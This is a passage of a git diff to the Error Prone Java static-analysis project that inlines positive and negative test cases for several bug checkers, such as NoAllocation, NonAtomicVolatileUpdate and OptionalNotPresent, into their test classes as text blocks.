++i; + return i; + } + + @NoAllocation + public int postIncrementBox(Integer i) { + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + i++; + return i; + } + + @NoAllocation + public int preDecrementBox(Integer i) { + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + --i; + return i; + } + + @NoAllocation + public int postDecrementBox(Integer i) { + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + i--; + return i; + } + + @NoAllocation + public int forEachBox(int[] a) { + int last = -1; + // BUG: Diagnostic contains: @NoAllocation + // Iterating + for (Integer i : a) { + last = i; + } + return last; + } + + @NoAllocation + public void arrayPreIncrementBox(Integer[] a) { + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + ++a[0]; + } + + @NoAllocation + public void arrayPostIncrementBox(Integer[] a) { + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + a[0]++; + } + + @NoAllocation + public void arrayPreDecrementBox(Integer[] a) { + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + --a[0]; + } + + @NoAllocation + public void arrayPostDecrementBox(Integer[] a) { + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + a[0]--; + } + + @NoAllocation + public int compoundBox(Integer a, int b) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + a += b; + return a; + } + + @NoAllocation + public void arrayCompoundBox(Integer[] a, int b) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + a[0] += b; + } + + @NoAllocation + public void andAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 &= i2; + } + + @NoAllocation + public void divideAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 /= i2; + } + + @NoAllocation + public void leftShiftAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 <<= i2; + } + + @NoAllocation + public void minusAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 -= i2; + } + + @NoAllocation + public void multiplyAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 *= i2; + } + + @NoAllocation + public void orAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 |= i2; + } + + @NoAllocation + public void plusAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 += i2; + } + + @NoAllocation + public void remainderAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 %= i2; + } + + @NoAllocation + public void rightShiftAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 >>= i2; + } + + @NoAllocation + public void unsignedRightShiftAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 >>>= i2; + } + + @NoAllocation + public void xorAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 ^= i2; + } + + // Cloning is right out. + @NoAllocation + public Object doClone() throws CloneNotSupportedException { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + return clone(); + } + + // Throwing doesn't exempt through method declarations. + @NoAllocation + public String throwForeach(final Iterable a) { + throw new RuntimeException() { + @NoAllocation + private void f() { + // BUG: Diagnostic contains: @NoAllocation + // Iterating + for (Object o : a) { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + a.toString(); + } + } + }; + } + + public interface NoAllocationInterface { + @NoAllocation + void method(); + } + + public static class NoAllocationImplementingClass implements NoAllocationInterface { + @Override + // BUG: Diagnostic contains: @NoAllocation + public void method() {} + } + + public abstract static class NoAllocationAbstractClass { + @NoAllocation + abstract void method(); + } + + public static class NoAllocationConcreteClass extends NoAllocationAbstractClass { + @Override + // BUG: Diagnostic contains: @NoAllocation + void method() {} + } + + public static class NoAllocationParentClass implements NoAllocationInterface { + @Override + @NoAllocation + public void method() {} + } + + public static class NoAllocationSubclass extends NoAllocationParentClass { + @Override + // BUG: Diagnostic contains: @NoAllocation + public void method() {} + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/NoAllocationCheckerNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "NoAllocationCheckerNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.annotations.NoAllocation; +import java.util.Arrays; + +/** + * @author agoode@google.com (Adam Goode) + */ +public class NoAllocationCheckerNegativeCases { + // Calling safe methods is fine. + @NoAllocation + public boolean comparison(int n) { + return n > 1; + } + + @NoAllocation + public void callNoAllocationMethod() { + comparison(5); + } + + @NoAllocation + @SuppressWarnings({"foo, bar"}) + public void annotatedWithArray() {} + + @NoAllocation + public boolean arrayComparison(int[] a) { + return a.length > 0 && a[0] > 1; + } + + // Non string operations are fine. + @NoAllocation + public int sumInts(int a, int b) { + return a + b; + } + + @NoAllocation + public int addOne(int a) { + a += 1; + return a; + } + + // Foreach is allowed on arrays. + @NoAllocation + public int forEachArray(int[] a) { + int last = -1; + for (int i : a) { + last = i; + } + return last; + } + + // Varargs is ok if no autoboxing occurs. + @NoAllocation + public int varArgsMethod2(int a, int... b) { + return a + b[0]; + } + + @NoAllocation + public void callVarArgsNoAllocation(int[] b) { + varArgsMethod2(1, b); + } + + @NoAllocation + public Object varArgsMethodObject2(Object a, Object... b) { + return b[0]; + } + + @NoAllocation + public void callVarArgsObject2(Object a, Object[] b) { + varArgsMethodObject2(a, b); + } + + // Unboxing is fine. + @NoAllocation + public void unboxByCalling(Integer i) { + comparison(i); + } + + @NoAllocation + public int binaryUnbox(Integer a, int b) { + return a + b; + } + + // We can call a non-annotated method if we suppress warnings. + @NoAllocation + @SuppressWarnings("NoAllocation") + public void trustMe() { + String s = new String(); + } + + @NoAllocation + public void trusting() { + trustMe(); + } + + // Allocations are allowed in a throw statement. + @NoAllocation + public void throwNew() { + throw new RuntimeException(); + } + + @NoAllocation + public void throwNewArray() { + throw new RuntimeException(Arrays.toString(new int[10])); + } + + @NoAllocation + public void throwMethod() { + throw new RuntimeException(Integer.toString(5)); + } + + @NoAllocation + public void throwStringConcatenation() { + throw new RuntimeException("a" + 5); + } + + @NoAllocation + public void throwStringConcatenation2() { + throw new RuntimeException("a" + Integer.toString(5)); + } + + @NoAllocation + public void throwStringConcatenation3() { + throw new RuntimeException("a" + getInt()); + } + + @NoAllocation + public String throwStringConvCompoundAssign(int i) { + String s = ""; + throw new RuntimeException(s += i); + } + + class IntegerException extends RuntimeException { + public IntegerException(Integer i) { + super(i.toString()); + } + } + + @NoAllocation + public String throwBoxingCompoundAssign(Integer in, int i) { + throw new IntegerException(in += i); + } + + @NoAllocation + public String throwBoxingAssign(Integer in, int i) { + throw new IntegerException(in = i); + } + + @NoAllocation + public String throwBoxingInitialization(final int i) { + throw new RuntimeException() { + Integer in = i; + }; + } + + @NoAllocation + public String throwBoxingCast(int i) { + throw new IntegerException((Integer) i); + } + + @NoAllocation + public String throwBoxingInvocation(int i) { + throw new IntegerException(i); + } + + class VarArgsException extends RuntimeException { + public VarArgsException(int... ints) { + super(Arrays.toString(ints)); + } + } + + @NoAllocation + public String throwBoxingVarArgs(int i) { + throw new VarArgsException(i, i, i, 4); + } + + @NoAllocation + public String throwBoxingUnary(Integer i) { + throw new IntegerException(i++); + } + + @NoAllocation + public void callGenericMethod() { + String foo = "foo"; + String bar = genericMethod(foo); + } + + @NoAllocation + private static T genericMethod(T value) { + return value; + } + + // All of the positive cases with @NoAllocation removed are below. + public int[] newArray(int size) { + return new int[size]; + } + + public int[] arrayInitializer(int a, int b) { + int[] array = {a, b}; + return array; + } + + public int[] returnArrayInitializer(int a, int b) { + return new int[] {a, b}; + } + + public String newString(String s) { + return new String(s); + } + + public String allocateString() { + return new String(); + } + + public String getString() { + return allocateString(); + } + + public int getInt() { + return 1; + } + + public String stringConvReturn(int i) { + return "" + i; + } + + public String stringConvAssign(int i) { + String s = "" + i; + return s; + } + + public String stringConvAssign2(int i) { + String s = ""; + s = s + i; + return s; + } + + public String stringConvAssign3(int i) { + String s = ""; + s = i + s; + return s; + } + + public String stringConvReturnMethod() { + String s = "" + getInt(); + return s; + } + + public String stringConvCompoundAssign(int i) { + String s = ""; + s += i; + return s; + } + + public String stringConvCompoundReturnMethod() { + String s = ""; + s += getInt(); + return s; + } + + public String doubleString(String s) { + return s + s; + } + + public String doubleStringCompound(String s) { + s += s; + return s; + } + + public int iteration(Iterable a) { + int result = 0; + for (Object o : a) { + result++; + } + return result; + } + + public Integer assignBox(int i) { + Integer in; + in = i; + return in; + } + + public Integer initializeBox(int i) { + Integer in = i; + return in; + } + + public Integer initializeBoxLiteral() { + Integer in = 0; + return in; + } + + public int castBox(int i) { + int in = (Integer) i; + return in; + } + + public Integer returnBox(int i) { + return i; + } + + public int unBox(Integer i) { + return i; + } + + public void callBox(int i) { + unBox(i); + } + + public int unBox2(int i1, Integer i2) { + return i2; + } + + public void callBox2(int i1, int i2) { + unBox2(i1, i2); + } + + public int unBox3(Integer i1, int i2) { + return i1; + } + + public void callBox3(int i1, int i2) { + unBox3(i1, i2); + } + + public int varArgsMethod(int a, int... b) { + return a + b[0]; + } + + public void callVarArgs0() { + varArgsMethod(0); + } + + public void callVarArgs() { + varArgsMethod(1, 2); + } + + public void callVarArgs2() { + varArgsMethod(1, 2, 3); + } + + public Object varArgsMethodObject(Object a, Object... b) { + return b[0]; + } + + public void callVarArgsObject(Object a, Object[] b) { + varArgsMethodObject(a, b[0]); + } + + public void callVarArgsObjectWithPrimitiveArray(Object a, int[] b) { + varArgsMethodObject(a, b); + } + + public int forBox(int[] a) { + int count = 0; + for (Integer i = 0; i < a.length; i++) { + count++; + } + return count; + } + + public void arrayBox(Integer[] a, int i) { + a[0] = i; + } + + public int preIncrementBox(Integer i) { + ++i; + return i; + } + + public int postIncrementBox(Integer i) { + i++; + return i; + } + + public int preDecrementBox(Integer i) { + --i; + return i; + } + + public int postDecrementBox(Integer i) { + i--; + return i; + } + + public int forEachBox(int[] a) { + int last = -1; + for (Integer i : a) { + last = i; + } + return last; + } + + public void arrayPreIncrementBox(Integer[] a) { + ++a[0]; + } + + public void arrayPostIncrementBox(Integer[] a) { + a[0]++; + } + + public void arrayPreDecrementBox(Integer[] a) { + --a[0]; + } + + public void arrayPostDecrementBox(Integer[] a) { + a[0]--; + } + + public int compoundBox(Integer a, int b) { + a += b; + return a; + } + + public void arrayCompoundBox(Integer[] a, int b) { + a[0] += b; + } + + public void andAssignmentBox(Integer i1, Integer i2) { + i1 &= i2; + } + + public void divideAssignmentBox(Integer i1, Integer i2) { + i1 /= i2; + } + + public void leftShiftAssignmentBox(Integer i1, Integer i2) { + i1 <<= i2; + } + + public void minusAssignmentBox(Integer i1, Integer i2) { + i1 -= i2; + } + + public void multiplyAssignmentBox(Integer i1, Integer i2) { + i1 *= i2; + } + + public void orAssignmentBox(Integer i1, Integer i2) { + i1 |= i2; + } + + public void plusAssignmentBox(Integer i1, Integer i2) { + i1 += i2; + } + + public void remainderAssignmentBox(Integer i1, Integer i2) { + i1 %= i2; + } + + public void rightShiftAssignmentBox(Integer i1, Integer i2) { + i1 >>= i2; + } + + public void unsignedRightShiftAssignmentBox(Integer i1, Integer i2) { + i1 >>>= i2; + } + + public void xorAssignmentBox(Integer i1, Integer i2) { + i1 ^= i2; + } + + public Object doClone() throws CloneNotSupportedException { + return clone(); + } + + @NoAllocation + public String throwForeach(final Iterable a) { + throw new RuntimeException() { + private void f() { + for (Object o : a) { + a.toString(); + } + } + }; + } + + public interface NoAllocationInterface { + @NoAllocation + void method(); + } + + public static class NoAllocationImplementingClass implements NoAllocationInterface { + @Override + @NoAllocation + public void method() {} + } + + public static class NoAllocationImplementingClassWithSuppression + implements NoAllocationInterface { + @Override + @SuppressWarnings("NoAllocation") + public void method() {} + } + + public abstract static class NoAllocationAbstractClass { + @NoAllocation + abstract void method(); + } + + public static class NoAllocationConcreteClass extends NoAllocationAbstractClass { + @Override + @NoAllocation + void method() {} + } + + public static class NoAllocationConcreteClassWithSuppression extends NoAllocationAbstractClass { + @Override + @SuppressWarnings("NoAllocation") + void method() {} + } + + public static class NoAllocationParentClass implements NoAllocationInterface { + @Override + @NoAllocation + public void method() {} + } + + public static class NoAllocationSubclass extends NoAllocationParentClass { + @Override + @NoAllocation + public void method() {} + } + + public static class NoAllocationSubclassWithSuppression extends NoAllocationParentClass { + @Override + @SuppressWarnings("NoAllocation") + public void method() {} + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/NonAtomicVolatileUpdateTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/NonAtomicVolatileUpdateTest.java index d08c9c60635..84dc6559c8d 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/NonAtomicVolatileUpdateTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/NonAtomicVolatileUpdateTest.java @@ -30,11 +30,144 @@ public class NonAtomicVolatileUpdateTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/NonAtomicVolatileUpdatePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "NonAtomicVolatileUpdatePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** Positive test cases for {@code NonAtomicVolatileUpdate} checker. */ + public class NonAtomicVolatileUpdatePositiveCases { + + private static class VolatileContainer { + public volatile int volatileInt = 0; + } + + private volatile int myVolatileInt = 0; + private VolatileContainer container = new VolatileContainer(); + + public void increment() { + // BUG: Diagnostic contains: + myVolatileInt++; + // BUG: Diagnostic contains: + ++myVolatileInt; + // BUG: Diagnostic contains: + myVolatileInt += 1; + // BUG: Diagnostic contains: + myVolatileInt = myVolatileInt + 1; + // BUG: Diagnostic contains: + myVolatileInt = 1 + myVolatileInt; + + // BUG: Diagnostic contains: + if (myVolatileInt++ == 0) { + System.out.println("argh"); + } + + // BUG: Diagnostic contains: + container.volatileInt++; + // BUG: Diagnostic contains: + ++container.volatileInt; + // BUG: Diagnostic contains: + container.volatileInt += 1; + // BUG: Diagnostic contains: + container.volatileInt = container.volatileInt + 1; + // BUG: Diagnostic contains: + container.volatileInt = 1 + container.volatileInt; + } + + public void decrement() { + // BUG: Diagnostic contains: + myVolatileInt--; + // BUG: Diagnostic contains: + --myVolatileInt; + // BUG: Diagnostic contains: + myVolatileInt -= 1; + // BUG: Diagnostic contains: + myVolatileInt = myVolatileInt - 1; + + // BUG: Diagnostic contains: + container.volatileInt--; + // BUG: Diagnostic contains: + --container.volatileInt; + // BUG: Diagnostic contains: + container.volatileInt -= 1; + // BUG: Diagnostic contains: + container.volatileInt = container.volatileInt - 1; + } + + private volatile String myVolatileString = ""; + + public void stringUpdate() { + // BUG: Diagnostic contains: + myVolatileString += "update"; + // BUG: Diagnostic contains: + myVolatileString = myVolatileString + "update"; + } + }""") + .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/NonAtomicVolatileUpdateNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "NonAtomicVolatileUpdateNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** Positive test cases for {@code NonAtomicVolatileUpdate} checker. */ + public class NonAtomicVolatileUpdateNegativeCases { + + private volatile int myVolatileInt = 0; + private int myInt = 0; + private volatile String myVolatileString = ""; + private String myString = ""; + + public void incrementNonVolatile() { + myInt++; + ++myInt; + myInt += 1; + myInt = myInt + 1; + myInt = 1 + myInt; + + myInt = myVolatileInt + 1; + myVolatileInt = myInt + 1; + + myString += "update"; + myString = myString + "update"; + } + + public void decrementNonVolatile() { + myInt--; + --myInt; + myInt -= 1; + myInt = myInt - 1; + } + + public synchronized void synchronizedIncrement() { + myVolatileInt++; + ++myVolatileInt; + myVolatileInt += 1; + myVolatileInt = myVolatileInt + 1; + myVolatileInt = 1 + myVolatileInt; + + myVolatileString += "update"; + myVolatileString = myVolatileString + "update"; + } + + public void synchronizedBlock() { + synchronized (this) { + myVolatileInt++; + ++myVolatileInt; + myVolatileInt += 1; + myVolatileInt = myVolatileInt + 1; + myVolatileInt = 1 + myVolatileInt; + + myVolatileString += "update"; + myVolatileString = myVolatileString + "update"; + } + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/NonRuntimeAnnotationTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/NonRuntimeAnnotationTest.java index 8e3078e565c..3d4857b48f6 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/NonRuntimeAnnotationTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/NonRuntimeAnnotationTest.java @@ -32,11 +32,68 @@ public class NonRuntimeAnnotationTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/NonRuntimeAnnotationPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "NonRuntimeAnnotationPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +/** + * @author scottjohnson@google.com (Scott Johnsson) + */ +@NonRuntimeAnnotationPositiveCases.NotSpecified +@NonRuntimeAnnotationPositiveCases.NonRuntime +public class NonRuntimeAnnotationPositiveCases { + + public NonRuntime testAnnotation() { + // BUG: Diagnostic contains: runtime; NonRuntime + NonRuntimeAnnotationPositiveCases.class.getAnnotation( + NonRuntimeAnnotationPositiveCases.NonRuntime.class); + // BUG: Diagnostic contains: + NonRuntimeAnnotationPositiveCases.class.getAnnotation( + NonRuntimeAnnotationPositiveCases.NotSpecified.class); + // BUG: Diagnostic contains: + return this.getClass().getAnnotation(NonRuntimeAnnotationPositiveCases.NonRuntime.class); + } + + /** Annotation that is explicitly NOT retained at runtime */ + @Retention(RetentionPolicy.SOURCE) + public @interface NonRuntime {} + + /** Annotation that is implicitly NOT retained at runtime */ + public @interface NotSpecified {} +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/NonRuntimeAnnotationNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "NonRuntimeAnnotationNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +/** + * @author scottjohnson@google.com (Scott Johnsson) + */ +@NonRuntimeAnnotationNegativeCases.Runtime +public class NonRuntimeAnnotationNegativeCases { + + public Runtime testAnnotation() { + return this.getClass().getAnnotation(NonRuntimeAnnotationNegativeCases.Runtime.class); + } + + /** Annotation that is retained at runtime */ + @Retention(RetentionPolicy.RUNTIME) + public @interface Runtime {} +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ObjectToStringTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ObjectToStringTest.java index b3a3c9f659d..a980a493305 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ObjectToStringTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ObjectToStringTest.java @@ -40,12 +40,116 @@ public class ObjectToStringTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/ObjectToStringPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ObjectToStringPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class ObjectToStringPositiveCases { + + public static final class FinalObjectClassWithoutToString {} + + public static final class FinalGenericClassWithoutToString {} + + void directToStringCalls() { + FinalObjectClassWithoutToString finalObjectClassWithoutToString = + new FinalObjectClassWithoutToString(); + // BUG: Diagnostic contains: ObjectToString + System.out.println(finalObjectClassWithoutToString.toString()); + } + + void genericClassShowsErasure() { + FinalGenericClassWithoutToString finalGenericClassWithoutToString = + new FinalGenericClassWithoutToString<>(); + // BUG: Diagnostic contains: `FinalGenericClassWithoutToString@ + System.out.println(finalGenericClassWithoutToString.toString()); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ObjectToStringNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ObjectToStringNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import org.joda.time.Duration; + +/** + * @author bhagwani@google.com (Sumit Bhagwani) + */ +public class ObjectToStringNegativeCases { + + public static final class FinalObjectClassWithoutToString {} + + public static class NonFinalObjectClassWithoutToString {} + + public static final class FinalObjectClassWithToString { + + @Override + public String toString() { + return "hakuna"; + } + } + + public static class NonFinalObjectClassWithToString { + + @Override + public String toString() { + return "matata"; + } + } + + public void log(Object o) { + System.out.println(o.toString()); + } + + void directToStringCalls() { + NonFinalObjectClassWithoutToString nonFinalObjectClassWithoutToString = + new NonFinalObjectClassWithoutToString(); + System.out.println(nonFinalObjectClassWithoutToString.toString()); + + FinalObjectClassWithToString finalObjectClassWithToString = new FinalObjectClassWithToString(); + System.out.println(finalObjectClassWithToString.toString()); + + NonFinalObjectClassWithToString nonFinalObjectClassWithToString = + new NonFinalObjectClassWithToString(); + System.out.println(nonFinalObjectClassWithToString.toString()); + } + + void callsTologMethod() { + FinalObjectClassWithoutToString finalObjectClassWithoutToString = + new FinalObjectClassWithoutToString(); + log(finalObjectClassWithoutToString); + + NonFinalObjectClassWithoutToString nonFinalObjectClassWithoutToString = + new NonFinalObjectClassWithoutToString(); + log(nonFinalObjectClassWithoutToString); + + FinalObjectClassWithToString finalObjectClassWithToString = new FinalObjectClassWithToString(); + log(finalObjectClassWithToString); + + NonFinalObjectClassWithToString nonFinalObjectClassWithToString = + new NonFinalObjectClassWithToString(); + log(nonFinalObjectClassWithToString); + } + + public void overridePresentInAbstractClassInHierarchy(Duration durationArg) { + String unusedString = Duration.standardSeconds(86400).toString(); + System.out.println("test joda string " + Duration.standardSeconds(86400)); + + unusedString = durationArg.toString(); + System.out.println("test joda string " + durationArg); + } +}""") + .doTest(); } /** A class that will be missing at compile-time for {@link #testIncompleteClasspath}. */ diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/OptionalNotPresentTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/OptionalNotPresentTest.java index 170c631efa7..b5930f6f9d3 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/OptionalNotPresentTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/OptionalNotPresentTest.java @@ -31,12 +31,173 @@ public class OptionalNotPresentTest { @Test public void negativeCases() { - compilationTestHelper.addSourceFile("testdata/OptionalNotPresentNegativeCases.java").doTest(); + compilationTestHelper + .addSourceLines( + "OptionalNotPresentNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Optional; + import java.util.function.Predicate; + + /** Includes true-negative cases and false-positive cases. */ + public class OptionalNotPresentNegativeCases { + + // Test this doesn't trigger NullPointerException + private final Predicate> asField = o -> !o.isPresent(); + + // False-positive + public String getWhenTestedSafe_referenceEquality(Optional optional) { + if (!optional.isPresent()) { + if (optional == Optional.of("OK")) { // always false + // BUG: Diagnostic contains: Optional + return optional.get(); + } + } + return ""; + } + + // False-positive + public String getWhenTestedSafe_equals(Optional optional) { + if (!optional.isPresent()) { + if (optional.equals(Optional.of("OK"))) { // always false + // BUG: Diagnostic contains: Optional + return optional.get(); + } + } + return ""; + } + + public String getWhenPresent_blockReassigned(Optional optional) { + if (!optional.isPresent()) { + optional = Optional.of("value"); + return optional.get(); + } + return ""; + } + + public String getWhenPresent_localReassigned(Optional optional) { + if (!optional.isPresent()) { + optional = Optional.of("value"); + } + return optional.get(); + } + + public String getWhenPresent_nestedCheck(Optional optional) { + if (!optional.isPresent() || true) { + return optional.isPresent() ? optional.get() : ""; + } + return ""; + } + }""") + .doTest(); } @Test public void positiveCases() { - compilationTestHelper.addSourceFile("testdata/OptionalNotPresentPositiveCases.java").doTest(); + compilationTestHelper + .addSourceLines( + "OptionalNotPresentPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Optional; + + /** Includes true-positive and false-negative cases. */ + public class OptionalNotPresentPositiveCases { + + // False-negative + public String getWhenUnknown(Optional optional) { + return optional.get(); + } + + // False-negative + public String getWhenUnknown_testNull(Optional optional) { + if (optional.get() != null) { + return optional.get(); + } + return ""; + } + + // False-negative + public String getWhenAbsent_testAndNestUnrelated(Optional optional) { + if (true) { + String str = optional.get(); + if (!optional.isPresent()) { + return ""; + } + return str; + } + return ""; + } + + public String getWhenAbsent(Optional testStr) { + if (!testStr.isPresent()) { + // BUG: Diagnostic contains: Optional + return testStr.get(); + } + return ""; + } + + public String getWhenAbsent_multipleStatements(Optional optional) { + if (!optional.isPresent()) { + String test = "test"; + // BUG: Diagnostic contains: Optional + return test + optional.get(); + } + return ""; + } + + // False-negative + public String getWhenAbsent_nestedCheck(Optional optional) { + if (!optional.isPresent() || true) { + return !optional.isPresent() ? optional.get() : ""; + } + return ""; + } + + public String getWhenAbsent_compoundIf_false(Optional optional) { + if (!optional.isPresent() && true) { + // BUG: Diagnostic contains: Optional + return optional.get(); + } + return ""; + } + + // False-negative + public String getWhenAbsent_compoundIf_true(Optional optional) { + if (!optional.isPresent() || true) { + return optional.get(); + } + return ""; + } + + public String getWhenAbsent_elseClause(Optional optional) { + if (optional.isPresent()) { + return optional.get(); + } else { + // BUG: Diagnostic contains: Optional + return optional.get(); + } + } + + // False-negative + public String getWhenAbsent_localReassigned(Optional optional) { + if (!optional.isPresent()) { + optional = Optional.empty(); + } + return optional.get(); + } + + // False-negative + public String getWhenAbsent_methodScoped(Optional optional) { + if (optional.isPresent()) { + return ""; + } + return optional.get(); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/OverrideThrowableToStringTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/OverrideThrowableToStringTest.java index b6a89471464..20dd1e403f5 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/OverrideThrowableToStringTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/OverrideThrowableToStringTest.java @@ -33,22 +33,176 @@ public class OverrideThrowableToStringTest { @Test public void positiveCases() { compilationHelper - .addSourceFile("testdata/OverrideThrowableToStringPositiveCases.java") + .addSourceLines( + "OverrideThrowableToStringPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author mariasam@google.com (Maria Sam) + */ + class OverrideThrowableToStringPositiveCases { + + class BasicTest extends Throwable { + + @Override + // BUG: Diagnostic contains: override + public String toString() { + return ""; + } + } + + class MultipleMethods extends Throwable { + + public MultipleMethods() { + ; + } + + @Override + // BUG: Diagnostic contains: override + public String toString() { + return ""; + } + } + + class NoOverride extends Throwable { + + // BUG: Diagnostic contains: override + public String toString() { + return ""; + } + } + }""") .doTest(); } @Test public void negativeCases() { compilationHelper - .addSourceFile("testdata/OverrideThrowableToStringNegativeCases.java") + .addSourceLines( + "OverrideThrowableToStringNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author mariasam@google.com (Maria Sam) + */ + public class OverrideThrowableToStringNegativeCases { + + class BasicTest extends Throwable {} + + class OtherToString { + public String toString() { + return ""; + } + } + + class NoToString extends Throwable { + public void test() { + System.out.println("test"); + } + } + + class GetMessage extends Throwable { + public String getMessage() { + return ""; + } + } + + class OverridesBoth extends Throwable { + public String toString() { + return ""; + } + + public String getMessage() { + return ""; + } + } + }""") .doTest(); } @Test public void fixes() { BugCheckerRefactoringTestHelper.newInstance(OverrideThrowableToString.class, getClass()) - .addInput("testdata/OverrideThrowableToStringPositiveCases.java") - .addOutput("testdata/OverrideThrowableToStringPositiveCases_expected.java") + .addInputLines( + "OverrideThrowableToStringPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author mariasam@google.com (Maria Sam) + */ + class OverrideThrowableToStringPositiveCases { + + class BasicTest extends Throwable { + + @Override + // BUG: Diagnostic contains: override + public String toString() { + return ""; + } + } + + class MultipleMethods extends Throwable { + + public MultipleMethods() { + ; + } + + @Override + // BUG: Diagnostic contains: override + public String toString() { + return ""; + } + } + + class NoOverride extends Throwable { + + // BUG: Diagnostic contains: override + public String toString() { + return ""; + } + } + }""") + .addOutputLines( + "OverrideThrowableToStringPositiveCases_expected.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author mariasam@google.com (Maria Sam) + */ + class OverrideThrowableToStringPositiveCases { + + // BUG: Diagnostic contains: override + class BasicTest extends Throwable { + + @Override + public String getMessage() { + return ""; + } + } + + class MultipleMethods extends Throwable { + + public MultipleMethods() { + ; + } + + @Override + public String getMessage() { + return ""; + } + } + + class NoOverride extends Throwable { + + public String getMessage() { + return ""; + } + } + }""") .doTest(TestMode.AST_MATCH); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/OverridesTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/OverridesTest.java index 5dc1a4eb1aa..c077fa07b61 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/OverridesTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/OverridesTest.java @@ -31,41 +31,406 @@ public class OverridesTest { @Test public void positiveCase1() { - compilationHelper.addSourceFile("testdata/OverridesPositiveCase1.java").doTest(); + compilationHelper + .addSourceLines( + "OverridesPositiveCase1.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * This tests that the a bug is reported when a method override changes the type of a parameter from + * varargs to array, or array to varargs. It also ensures that the implementation can handles cases + * with multiple parameters, and whitespaces between the square brackets for array types. + * + * @author cushon@google.com (Liam Miller-Cushon) + */ +public class OverridesPositiveCase1 { + abstract class Base { + abstract void varargsMethod(Object... xs); + + abstract void 